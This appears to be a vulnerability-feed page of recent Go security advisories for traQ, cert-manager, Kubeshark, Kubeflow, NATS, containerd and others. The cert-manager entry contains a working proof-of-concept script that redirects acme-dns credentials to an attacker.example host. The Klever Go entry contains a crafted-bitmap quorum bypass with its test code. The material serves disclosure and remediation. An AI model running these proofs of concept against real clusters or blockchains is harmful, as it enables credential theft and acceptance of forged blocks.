Go vulnerabilities
In the last 30 days, 115 Go vulnerabilities were published: 14 critical, 0 actively exploited. Most common weakness: incorrect authorization (CWE-863).
CVSS score: 7.3 Severity: High Identifier: CVE-2026-63197GHSA-P74G-F95M-7FX7 traQ: XSS in the User Uploaded File Retrieval API Package: github.com/traptitech/traq fixed in 1.0.0-rc.2.0.20260627142846-3db29e777166 Published Published
traQ is a messenger application built for Digital Creators Club traP. Prior to 3.28.3, instances configured with TRAQ_STORAGE_TYPE=local can return user-uploaded SVG or HTML content from the /files/{fileId} retrieval endpoint for direct browser rendering. An attacker with file-upload capability can provide crafted active content and induce another user to open its file URL, causing attacker-controlled JavaScript to execute in the victim's browser. This issue is fixed in version 3.28.3.
- Exploitation
- No known exploitation
- EPSS
- 0.42% chance of exploitation in the next 30 days, higher than 27.6% of CVEs
- CVSS
- 7.3 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Versions
- < 1.0.0-rc.2.0.20260627142846-3db29e777166 · fixed in 1.0.0-rc.2.0.20260627142846-3db29e777166
- Weakness
- CWE-79
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 3, 2026 · first seen here 1 h ago
CVSS score: 7.3 Severity: High Identifier: CVE-2026-62290GHSA-8RVJ-MM4H-C258 cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials Package: github.com/cert-manager/cert-manager fixed in 1.20.3 (+1 branch) Published Published
Summary
Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.
When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.
In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.
Attack preconditions
- The attacker can create
challenges.acme.cert-manager.ioresources in at least one namespace. - The cert-manager controller is running and reconciles ACME
Challengeresources cluster-wide. - A usable
ClusterIssuerexists in the cluster. - The referenced
ClusterIssuerhas a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled forClusterIssuer. - The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
Severity
Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.
Why this is not just RBAC misconfiguration
cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.
The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.
Affected components
- ACME Challenge admission validation
- ACME Challenge controller
- DNS01 solver selection and DNS provider construction
- Default aggregate RBAC for
challenges.acme.cert-manager.io
Affected versions tested
The issue was reproduced on:
mastercommit2c0f1a6a4- latest production release
v1.20.2commite5b7b1845 v1.19.5commitcda7b7896v1.18.6commit4699caabb
See VERSION_TEST_MATRIX.md for the command matrix and outputs.
Technical details
Relevant code paths:
internal/apis/acme/validation/challenge.go:44-45:ValidateChallengereturns no errors on create.deploy/crds/acme.cert-manager.io_challenges.yaml:spec.solveris a required user-controlled field onChallenge.pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges.pkg/controller/acmechallenges/controller.go:180-197: scheduler setsstatus.processing=true.pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge.pkg/issuer/acme/dns/dns.go:81: DNS solverPresentignores the issuer object argument.pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived fromChallenge.spec.pkg/controller/helper.go:39-44:ClusterIssuerreferences use the cluster resource namespace.pkg/controller/helper.go:66-72: ambient credentials are allowed based onissuerRef.kind.internal/apis/config/controller/v1alpha1/defaults.go:68-69: ClusterIssuer ambient credentials default to enabled.deploy/charts/cert-manager/templates/rbac.yaml:517-519: the aggregate edit role can create/updatechallengesandorders.
The normal Order flow selects a solver from the Issuer:
pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated.pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected.pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.
The direct Challenge flow skips that selection entirely because the direct object already contains a solver.
Proof of concept
PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge
The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.
The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.
A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.
Run from the cert-manager repository root:
set -euo pipefail
name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null
cleanup() {
docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT
for i in $(seq 1 90); do
docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
sleep 2
done
docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null
docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
--from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
name: cluster-prod
spec:
acme:
email: admin@example.com
server: https://acme-staging-v02.api.letsencrypt.org/directory
privateKeySecretRef:
name: cluster-prod-account-key
solvers:
- selector:
dnsZones:
- victim.example.com
dns01:
acmeDNS:
host: https://legit-acmedns.example
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: challenge-create-only
namespace: tenant
rules:
- apiGroups: ["acme.cert-manager.io"]
resources: ["challenges"]
verbs: ["create", "get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: bob-challenge-create-only
namespace: tenant
subjects:
- kind: ServiceAccount
name: bob
namespace: tenant
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: challenge-create-only
YAML
echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)"
echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)"
echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)"
echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"
docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
name: direct-dns01
spec:
authorizationURL: https://attacker.example/acme/authz/1
dnsName: victim.example.com
issuerRef:
group: cert-manager.io
kind: ClusterIssuer
name: cluster-prod
key: attacker-key
token: attacker-token
type: DNS-01
url: https://attacker.example/acme/chal/1
solver:
dns01:
acmeDNS:
host: https://attacker.example/acmedns
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec "$name" kubectl -n tenant get challenge direct-dns01 \
-o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'
Expected output:
bob create challenges: yes
bob get cert-manager secret: no
bob get clusterissuer: no
ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example
challenge.acme.cert-manager.io/direct-dns01 created
ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account
This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.
PoC B: acme-dns provider sends referenced credentials to the configured host
This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.
Run from repository root:
set -euo pipefail
cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'
package acmedns
import (
"context"
"net/http"
"net/http/httptest"
"testing"
)
func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
var gotUser, gotKey, gotPath string
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotUser = r.Header.Get("X-Api-User")
gotKey = r.Header.Get("X-Api-Key")
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`{"txt":"ok"}`))
}))
defer ts.Close()
accountJSON := []byte(`{
"victim.example.com": {
"username": "victim-user",
"password": "victim-pass",
"fulldomain": "x.example.org",
"subdomain": "x"
}
}`)
provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
if err != nil {
t.Fatal(err)
}
if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
t.Fatal(err)
}
if gotPath != "/update" {
t.Fatalf("path = %q, want /update", gotPath)
}
if gotUser != "victim-user" {
t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
}
if gotKey != "victim-pass" {
t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
}
}
EOF
docker run --rm \
-v "$PWD":/repo \
-v /tmp/cert-manager-gomod-cache:/go/pkg/mod \
-v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \
-w /repo golang:1.26-bookworm \
go test ./pkg/issuer/acme/dns/acmedns \
-run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \
-count=1 -v
rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go
Expected output:
=== RUN TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
Combined with PoC A and the code path in pkg/issuer/acme/dns/dns.go, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.
Credential impact scope
The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled host receives the X-Api-User and X-Api-Key values loaded from the referenced account JSON.
For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.
Expected behavior
Users should not be able to create standalone Challenge resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct Challenge resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.
Actual behavior
A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from issuerRef, and uses attacker-controlled provider settings.
Suggested remediation
Possible mitigations:
- Reject or ignore standalone user-created
Challengeresources unless the controller or admission layer can confirm an existing cert-manager-createdOrderthat owns the Challenge. - Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.
- Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.
- Move
ChallengeandOrdercreation permissions out of aggregateeditunless direct use is a supported security boundary. - Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.
- Exploitation
- No known exploitation
- EPSS
- 0.11% chance of exploitation in the next 30 days, higher than 0.46% of CVEs
- CVSS
- 7.3 out of 10 · source GitHub
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Versions
- >= 1.20.0-alpha.0, < 1.20.3 · fixed in 1.20.3 (and 1 older branch)
- Weakness
- CWE-863
- Linked via
- ecosystem package
- Sources
- GitHub · CERT-FR
- Dates
- published Oct 29, 2026 · first seen here 1 h ago
CVSS score: 7.2
Severity: High
Identifier: CVE-2026-129236GHSA-8VF2-HXG5-CRQH
Kubeshark: MCP start_kubeshark argument injection via pod_regex → image redirect → cluster takeover
Package: github.com/kubeshark/kubeshark fixed in 0.0.2-0.20260812200004-a76a1920dc75
Published Published
Kubeshark is an eBPF-powered network observability tool for Kubernetes. From 53.1.0 until 53.4.0, the start_kubeshark MCP tool in cmd/mcpRunner.go uses callStartKubeshark to append caller-controlled pod_regex as a bare positional argument to kubeshark tap without a -- end-of-options separator, allowing a value beginning with --set to be parsed as a Helm value override. An attacker who influences tool arguments against kubeshark mcp --allow-destructive can redirect the privileged worker, Hub, and front images through tap.docker.registry and tap.docker.tag to an attacker-controlled registry. Because the deployed worker DaemonSet runs privileged with host networking and host filesystem access, a malicious image can obtain node and cluster-admin access when the host already has permission to deploy it. This issue is fixed in version 53.4.0.
- Exploitation
- No known exploitation
- EPSS
- 0.17% chance of exploitation in the next 30 days, higher than 3.7% of CVEs
- CVSS
- 7.2 out of 10 · source NVD (github.com)
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H - Versions
- >= 0.0.2-0.20260206182249-0bbbb473ea3f, < 0.0.2-0.20260812200004-a76a1920dc75 · fixed in 0.0.2-0.20260812200004-a76a1920dc75
- Weakness
- CWE-88
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 16, 2026 · first seen here 1 h ago
CVSS score: 7.2 Severity: High Identifier: CVE-2026-88984GHSA-GHGH-57QV-H687 Kubeflow Pipelines: RBAC bypass on shared pipelines allows any authenticated user to delete or modify global pipelines Package: github.com/kubeflow/pipelines fixed in 0.0.0-20260420170029-186dd1f3b040 Published Published
Kubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior to 2.16.1, the multi-user API server treats the empty namespace used by shared or global pipelines as an authorization exception for modification and deletion operations. An authenticated user can modify or delete shared pipeline definitions and versions without the required Kubernetes RBAC permissions, compromising their integrity and availability. Read-only access to shared pipelines remains intentional, single-user deployments intentionally bypass multi-user checks, and execution of a modified pipeline is a conditional downstream consequence. The separate shared-pipeline multipart upload authorization path is outside this advisory and is not remediated by version 2.16.1. This issue is fixed in version 2.16.1.
- Exploitation
- No known exploitation
- EPSS
- 0.54% chance of exploitation in the next 30 days, higher than 38.9% of CVEs
- CVSS
- 7.2 out of 10 · source NVD (github.com)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- < 0.0.0-20260420170029-186dd1f3b040 · fixed in 0.0.0-20260420170029-186dd1f3b040
- Weakness
- CWE-285, CWE-863
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 5, 2026 · first seen here 1 h ago
CVSS score: 7.2 Severity: High Identifier: CVE-2026-119345GHSA-GHWV-VRP2-2975 Cocos AI Intra-handshake attested TLS implementation is vulnerable to TOCTOU Attacks Package: github.com/ultravioletrs/cocos fixed in 0.9.0 Published Published
Cocos AI is a confidential computing system for AI. Prior to 0.9.0, Cocos AI performs attestation only once when an attested TLS connection is established. An attacker who can modify the attester's workload code, memory-backed state, configuration, or attached devices after that check can keep the existing connection open while the peer continues trusting stale initial Evidence. This gap is especially significant for long-lived connections because the verifier has no mechanism to detect the changed state. This issue is fixed in version 0.9.0.
- Exploitation
- No known exploitation
- EPSS
- 0.12% chance of exploitation in the next 30 days, higher than 0.97% of CVEs
- CVSS
- 7.2 out of 10 · source NVD (github.com)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- <= 0.8.2 · fixed in 0.9.0
- Weakness
- CWE-367
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 5, 2026 · first seen here 1 h ago
CVSS score: 7.1 Severity: High Identifier: GHSA-JP3C-6V3G-MPXV github.com/insomniacslk/dhcp permits denial of service through a malformed IPv4 payload length Package: github.com/insomniacslk/dhcp fixed in 0.0.0-20260719225207-c76316d4aa82 Published Published New
In github.com/insomniacslk/dhcp/dhcpv4/nclient4, BroadcastRawUDPConn.ReadFrom does not validate that the IPv4 payload length is sufficient to hold a UDP header before calculating the DHCP payload length. A frame with an IPv4 total-length field specifying fewer than eight payload bytes results in a negative DHCP length, causing a panic in buf.Consume due to a negative slice bound.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 7.1 out of 10 · source GitHub
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Versions
- >= 0.0.0-20190522091526-5dce45b2b680, < 0.0.0-20260719225207-c76316d4aa82 · fixed in 0.0.0-20260719225207-c76316d4aa82
- Weakness
- CWE-1284
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 24, 2026 · first seen here 1 h ago
CVSS score: 7.1 Severity: High Identifier: CVE-2026-58262GHSA-F9H7-4MMQ-VGCQ Klever Go counts bitmap padding bits toward BLS quorum, allowing blocks with insufficient signatures Package: github.com/klever-io/klever-go fixed in 1.7.20 Published Published
Summary
When validating an incoming block header, HeaderSigVerifier.verifyConsensusSize counts every set bit in PubKeysBitmap — including bits that correspond to no validator (the padding bits of the final byte, which exist whenever the consensus group size is not a multiple of 8). The subsequent BLS aggregate-signature verification (blsMultiSigner.Verify) only checks signature validity for real validator indices and silently ignores those padding bits. As a result, a malicious or compromised block producer can set the padding bits to make the on-bits reach the PBFT quorum while only gathering a smaller number of real validator signature shares, causing a block to be accepted as correctly signed without a genuine two-thirds validator quorum.
Details
Quorum counter counts padding bits — core/process/headerCheck/headerSignatureVerify.go:145-183:
func (hsv *HeaderSigVerifier) verifyConsensusSize(consensusPubKeys []string, header data.HeaderHandler) error {
consensusSize := len(consensusPubKeys)
bitmap := header.GetPubKeysBitmap()
expectedBitmapSize := consensusSize / 8
if consensusSize%8 != 0 {
expectedBitmapSize++
}
if len(bitmap) != expectedBitmapSize {
...
return ErrWrongSizeBitmap
}
numOfOnesInBitmap := 0
for index := range bitmap {
numOfOnesInBitmap += bits.OnesCount8(bitmap[index]) // <-- counts ALL bits incl. padding
}
minNumRequiredSignatures := consensus.GetPBFTThreshold(consensusSize)
...
if numOfOnesInBitmap >= minNumRequiredSignatures {
return nil
}
...
return ErrNotEnoughSignatures
}
The bitmap-byte-length check above only ensures the byte array is the right size; it never requires the padding bits (bits [consensusSize … expectedBitmapSize*8)) to be zero. So any combination of padding bits is accepted toward the quorum.
VerifySignature (:92-143) then builds the verifier from the real public keys, sets the aggregate signature, and calls verifier.Verify(hash, bitmap).
The BLS verifier ignores padding bits — crypto/signing/multisig/blsMultisig.go:272-297:
func (bms *blsMultiSigner) Verify(message []byte, bitmap []byte) error {
...
maxFlags := len(bitmap) * 8
flagsMismatch := maxFlags < len(bms.data.pubKeys) // only rejects *too few* bytes
if flagsMismatch {
return crypto.ErrBitmapMismatch
}
pubKeys := make([]crypto.PublicKey, 0)
for i := range bms.data.pubKeys { // <-- only real validator indices
err := bms.isIndexInBitmap(uint16(i), bitmap)
if err != nil {
continue
}
pubKeys = append(pubKeys, bms.data.pubKeys[i])
}
return bms.llSigner.VerifyAggregatedSig(bms.keyGen.Suite(), pubKeys, bms.data.aggSig, message)
}
Because the loop only walks range bms.data.pubKeys, a bit set at position i >= len(pubKeys) is never inspected by isIndexInBitmap and is therefore silently dropped from signature verification, even though verifyConsensusSize already counted it toward quorum.
PBFT threshold — core/consensus/consensus.go:5-8 (consensusSize*2/3 + 1) and fallback :10-13 (consensusSize/2 + 1).
Reachable from received blocks — core/process/block/interceptedBlocks/interceptedBlock.go:181-201 runs CheckValidity() → VerifySignature on every header received from peers.
Worked example (consensus size = 5)
- Required PBFT quorum:
5*2/3 + 1 = 4. - Valid validator bit positions: 0..4. Bits 5, 6, 7 are padding (no validator).
- Attacker gathers only one real signature share (validator 0) and aggregates it.
- Sets bitmap byte to
0b1110_0001(0xE1): bit 0 (real) + bits 5, 6, 7 (padding). verifyConsensusSizeseesbits.OnesCount8(0xE1) = 4≥ 4 → passes quorum.blsMultiSigner.Verifyonly validates against validator 0's public key (padding ignored) → passes.- The block is accepted with one real signer instead of four.
For any consensusSize not divisible by 8, up to 8 - (consensusSize % 8) fake "padding" signatures can be counted toward quorum. On a 21-member group (one padding bit) the attacker shaves one vote; on smaller/sharded groups with consensusSize % 8 close to 7 the relative impact is larger.
PoC
Reproduced locally against current develop (085a5d1) with this test (run under core/process/headerCheck, removed after verification):
func TestPOCHeaderSigVerifierCountsPaddingBitsTowardQuorum(t *testing.T) {
args := createHeaderSigVerifierArgs()
args.NodesCoordinator = &cMock.NodesCoordinatorMock{
GetValidatorsPublicKeysCalled: func(_ []byte, _ uint64, _ uint32) ([]string, error) {
return []string{"pk0", "pk1", "pk2", "pk3", "pk4"}, nil // consensus size 5 -> need 4
},
}
verifyCalled := false
args.MultiSigVerifier = &cMock.BelNevMock{
CreateMock: func(pubKeys []string, index uint16) (crypto.MultiSigner, error) {
return &cMock.BelNevMock{
VerifyMock: func(msg []byte, bitmap []byte) error {
verifyCalled = true // verifier is reached even though only 1 real signer bit is set
require.Equal(t, []byte{0xe1}, bitmap)
return nil // single-signer aggregate verifies OK
},
}, nil
},
}
hdrSigVerifier, _ := headerCheck.NewHeaderSigVerifier(args)
header := &block.Block{
Header: &block.BlockHeader{PrevRandSeed: []byte("seed")},
PubKeysBitmap: []byte{0xe1}, // bit0 (real) + padding bits 5,6,7 => counted as 4/5 quorum
Signature: []byte("aggregate-of-only-real-bit-0"),
}
err := hdrSigVerifier.VerifySignature(header)
require.NoError(t, err) // <-- accepted with 1 real signature instead of the required 4
require.True(t, verifyCalled)
}
Run: go test ./core/process/headerCheck -run TestPOCHeaderSigVerifierCountsPaddingBitsTowardQuorum -count=1 → ok. The test asserts the current code accepts the header; a corrected implementation must return an error because only one real signer bit is set.
Impact
This is an improper-verification / consensus-integrity vulnerability. A block proposer who can produce a valid leader signature plus a single valid aggregate BLS signature share can still satisfy the block-level quorum check by populating the padding bits of PubKeysBitmap. This weakens the PBFT two-thirds assumption: blocks can be accepted with fewer honest validator signatures than the protocol requires, enabling acceptance of attacker-favored blocks under collusion/compromise below the intended threshold and undermining finality guarantees. Any node that imports/intercepts headers (interceptedBlock.CheckValidity) is affected. Note the attacker still needs at least one valid consensus-group signature share and a valid leader signature, hence PR:L / AC:H.
Suggested fix
In verifyConsensusSize, count only bits whose index < consensusSize and additionally reject any non-zero bit in the padding region of the final bitmap byte (i.e. mask the last byte with (1 << (consensusSize % 8)) - 1 before counting, and fail if the original last byte has bits set above that mask). Mirror the same padding-bit rejection in blsMultiSigner.Verify so the verifier fails closed rather than silently ignoring unknown bits.
- Exploitation
- No known exploitation
- EPSS
- 0.16% chance of exploitation in the next 30 days, higher than 2.8% of CVEs
- CVSS
- 7.1 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - Versions
- < 1.7.20 · fixed in 1.7.20
- Weakness
- CWE-345, CWE-347
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 23, 2026 · first seen here 1 h ago
CVSS score: 7.1 Severity: High Identifier: CVE-2026-58213GHSA-QRCV-3558-GJ4F NATS Server: MQTT SUBSCRIBE Protocol Injection via Leaf Node/Route Forwarding allows arbitrary NATS command injection Package: github.com/nats-io/nats-server/v2 fixed in 2.14.1 (+1 branch) Published Published
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT and edge computing.
The NATS Server supports MQTT clients and can bridge MQTT activity into NATS subjects across routes and leafnode connections.
Problem Description
An MQTT client could include protocol control characters in subscription filters that were later forwarded as NATS protocol data to route or leafnode connections.
This could corrupt the forwarded protocol stream and allow injection of unintended NATS protocol operations, potentially across cluster nodes or accounts where route or gateway connections are present.
Anonymous MQTT deployments are higher risk because no credentials are required to reach the affected parser. Authenticated deployments are still affected for clients allowed to create MQTT subscriptions.
Affected Versions
Versions v2.14.0, v2.12.8 and below are vulnerable. The issue is fixed in v2.14.1 and v2.12.9.
Workarounds
Disable anonymous MQTT access where it is not required. Deployments that need MQTT have no known complete workaround other than upgrading.
References
- GHSA advisory: https://github.com/nats-io/nats-server/security/advisories/GHSA-qrcv-3558-gj4f
- Credit: @thesecguy45
- Exploitation
- No known exploitation
- EPSS
- 0.44% chance of exploitation in the next 30 days, higher than 30.2% of CVEs
- CVSS
- 7.1 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Versions
- >= 2.14.0-RC.1, < 2.14.1 · fixed in 2.14.1 (and 1 older branch)
- Weakness
- CWE-74
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 1 h ago
CVSS score: 7.1 Severity: High Identifier: CVE-2026-76101GHSA-J282-PJG5-J643 keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode() Package: github.com/pavel-v-chernykh/keystore-go/v3 fixed in 3.0.0 Published Published
keystore-go is a Go implementation of the Java KeyStore encoder and decoder. In 2.1.0 and earlier, keystore.Decode in decoder.go does not check the error returned when reading the trailing SHA-1 integrity digest and bounds its comparison by the length of the digest actually read. If an attacker with write access removes the final 20-byte digest from a modified JKS file, the empty actual digest causes the comparison loop to execute zero times and Decode returns the parsed keystore without an error. For certificate-only stores using TrustedCertificateEntry values, this bypasses both tamper detection and password verification, allowing trusted CA certificates to be added or replaced without knowing the keystore password and potentially enabling interception or modification of TLS connections that trust the forged CA. This issue is fixed in version 3.0.0.
- Exploitation
- No known exploitation
- EPSS
- 0.07% chance of exploitation in the next 30 days, higher than 0.01% of CVEs
- CVSS
- 7.1 out of 10 · source NVD (github.com)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Versions
- < 3.0.0 · fixed in 3.0.0
- Weakness
- CWE-252, CWE-347, CWE-354
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 18, 2026 · first seen here 1 h ago
CVSS score: 7.1 Severity: High Identifier: CVE-2026-95839GHSA-VWHP-8P66-MQ4F containerd image-triggered daemon crash via malformed digest in subject-annotated descriptor Package: github.com/containerd/containerd/v2 fixed in 2.4.2 (+2 branches) Published Published
containerd is an open-source container runtime. From 2.2.0 until 2.2.10, 2.3.7, and 2.4.2, image manifest processing through the transfer service can encounter a child descriptor containing the io.containerd.manifest.subject annotation and a malformed digest. Pulling or importing such an image, including through a default CRI PullImage request, can trigger an unrecovered panic and crash the containerd daemon. In Kubernetes, kubelet retries can repeatedly trigger the crash and disrupt container operations on the worker node. This issue is fixed in versions 2.2.10, 2.3.7, and 2.4.2.
- Exploitation
- No known exploitation
- EPSS
- 0.54% chance of exploitation in the next 30 days, higher than 38.9% of CVEs
- CVSS
- 7.1 out of 10 · source NVD (github.com)
